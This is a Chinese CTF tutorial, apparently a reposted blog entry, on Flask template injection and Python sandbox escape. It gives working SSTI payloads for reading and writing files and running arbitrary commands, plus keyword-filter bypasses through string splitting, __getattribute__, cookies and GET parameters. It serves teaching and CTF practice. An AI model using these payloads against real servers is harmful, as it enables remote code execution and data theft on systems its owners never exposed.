CTF-web 第七部分 flask模板注入 沙箱逃逸

1 注入原理

Flask 是python语言编写的轻量级的MVC (也可以称为MTV, T: Template)框架具体详见http://docs.jinkan.org/docs/flask/  对于Flask 框架本身,本文不做讨论。

我们看一下测试代码中的 hello_ssti函数

【功能 打印 hello + 用户传入的name值】

函数中模板内容  template = '''<h2>Hello %s!</h2>''' % person['name']

就是简单的字符串替换,这会引发什么安全问题吗?我们看例子:

运行后,浏览器访问: http://localhost:5000(Flask开发的程序,默认监听端口为5000)

OK, 默认打印Hello World。

但是,如果传入的name 参数值为恶意代码会怎么样?

引发敏感信息泄露

 http://localhost:5000/hello-template-injection?name=ForrestX386. {{person.secret}}

 

secret 值被泄露  来源: http://www.freebuf.com/articles/web/135953.html

2 利用方法

      那么好了,我们已经知道了大概的原理,实际上感觉类似于XSS一样的原理,特殊情况下的数据会被当做代码执行,而且要记住两对{}才可以呦,那么就是接下来的第二个部分,如何实现充分的利用。在python中存在很多的库函数,可以供我们使用来达到一定的功能,那么怎么来使用呢?

        我们在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下:

().__class__.__bases__[0]
''.__class__.__mro__[2]

# 验证如下
>>> print ''.__class__.__mro__[2]
<type 'object'>
>>> print ().__class__.__bases__[0]
<type 'object'>

从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟ossystem等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。

然后我们看一下

存在一个hook函数,直接可以调用 

存在file类型的object,事实上调用后可以对文件操作了,这也是我们比赛时经常用到的一个函数 
利用代码如下:

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

这里需要补充一下,当我们得到了需要的库时,调用其中的函数方法是:

(1)采用类似于数组的方法,使用下标访问函数[index]

(2)使用名称直接访问,类似于[‘function name’]

2.python中可以执行任意代码的神奇函数

(1)timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

(2)exec 和eval 比较经典了

eval('__import__("os").system("dir")')

(3)platform

import platform
print platform.popen('dir').read()

 (4)random和math

3 绕过方法

经常我们在比赛中不会轻易地随意使用函数和关键字,都会被后台给过滤掉,那么我们就需要掌握一些染过的方法,我们的绕过的思路主要分两种,第一种就是进行字符串的拼接,避开关键词的使用,第二种方法就是作为参数的方法传入,可以躲避过滤。

(1)拼接绕过

     在模板的url路径中,首先是支持字符串连接的,会在后台进行组合,比如我们可以吧获取object的代码这样写:

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

当然函数名字也可以写成这个样子:

'.re'+'ad()'  # 相当于'.read()'

 第三个实际上就是一个函数用来躲避关键字的检查,如func_globals中存在ls,read关键字和class等,这也是做题时卡着的地方。而这些都可以用__getattribute__进行突破,大概的原理如下:

# 我们想要的代码
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]

# 进行关键字绕过
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache']

(2)参数的绕过方法

大概的原理是这样的,一般检查的时候只是检查url链接中的关键字,并没有对参数和cookies进行检查,那么我们就可以使用变量和数值的方法,url中使用变量代替我们的关键字,在参数中将实际的值附上,代码和讲解如下:

第一个是关于request的有关知识,我们知道这是一个用于web请求的库,它是存在有关参数的用法的,在《Flask request获取参数问题》一文中曾经提到过,分别通过3中方式获取参数:request.form, request.args,request.values

request.form.get("key", type=str, default=None) 获取表单数据

request.args.get("key") 获取get请求参数

request.values.get("key") 获取所有参数

用处不大啊,就是说一下基础,那么我们在构造url连接时,也可以使用request中的变量,包括arg和cookies等,当然肯定还有其他的用法,加入我们要读取文件a.php,而class和read等关键字都被屏蔽了,我们可以这么做:

import requests

# 注意是两对{},上文已经讲过为什么了,这里用的是cookies的方式
url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}'''

cookies = {}
cookies['a'] = '__class__'
cookies['b'] = '__mro__'
cookies['c'] = '__subclasses__'
cookies['d'] = 'read'

print requests.get(url,cookies=cookies).text

当然,我们也可以构造get的参数来传递:

www.a.com/login.php{{''[request.args.clas][request.args.mr][2][request.args.subclas]()[40]('a.php').__getattribute__('rea'+'d')()}}
?clas=__class__&mr=__mro__&subclas=__subclasses__

下面这个是大佬提供的另外一种方法,供大家参考吧:

www.a.com/login.php{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

 另外需要提示的一点,我们既然都可以执行命令了,当然可以使用模板注入的方式获取浏览器的一些关键变量,环境等信息,如{{var}}通过变量的形式获取某些变量,在初始将院里的时候已经展示过了,这是一个关键一点,此类题目的时候留意一些

4 总结

1、注意题目为python2还是python3的环境,其对应的库会有很大的一个差距,但总体来说,python27有的,python3都有,但需要改变相应下标

2、曲径通幽,多绕绕,最终获得你想要的模块,认真找慢慢翻,会有很多的收获,比如从().__class__.__bases__[0].__subclasses__() 出发,查看可用的类

  • 若类中有file,考虑读写操作

  • 若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取evalmap等等;又或者从.__init__.func_globals[linecache] 得到os

  • 若类中有<type 'file'><class 'ctypes.CDLL'><class 'ctypes.LibraryLoader'>,考虑构造so文件

其他的相关关键字可以搜索魔法函数,你会对这些看起来稀奇古怪的函数有更多的理解

3、分析ban函数的时候考虑使用字符串拼接结合__getattribute__绕过;当然也可以考虑base64加解密来进行绕过,这部分可以参考sql注入的绕过思想

4、两个不常见的执行任意命令的方法:

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

timeit
考虑time based rce

5、注意一种简单题型,出题者只做了如下一些处理:

>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

看起来好像已经非常安全是么?但是,reload(module) 重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。

6、导入模块的方式。

  • 最直接的import.
  • 内置函数 import
  • importlib库

commands模块为列:

import importlib

f3ck = importlib.import_module("pbzznaqf".decode('rot_13')

print f3ck.getoutput('ifconfig')

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/83109772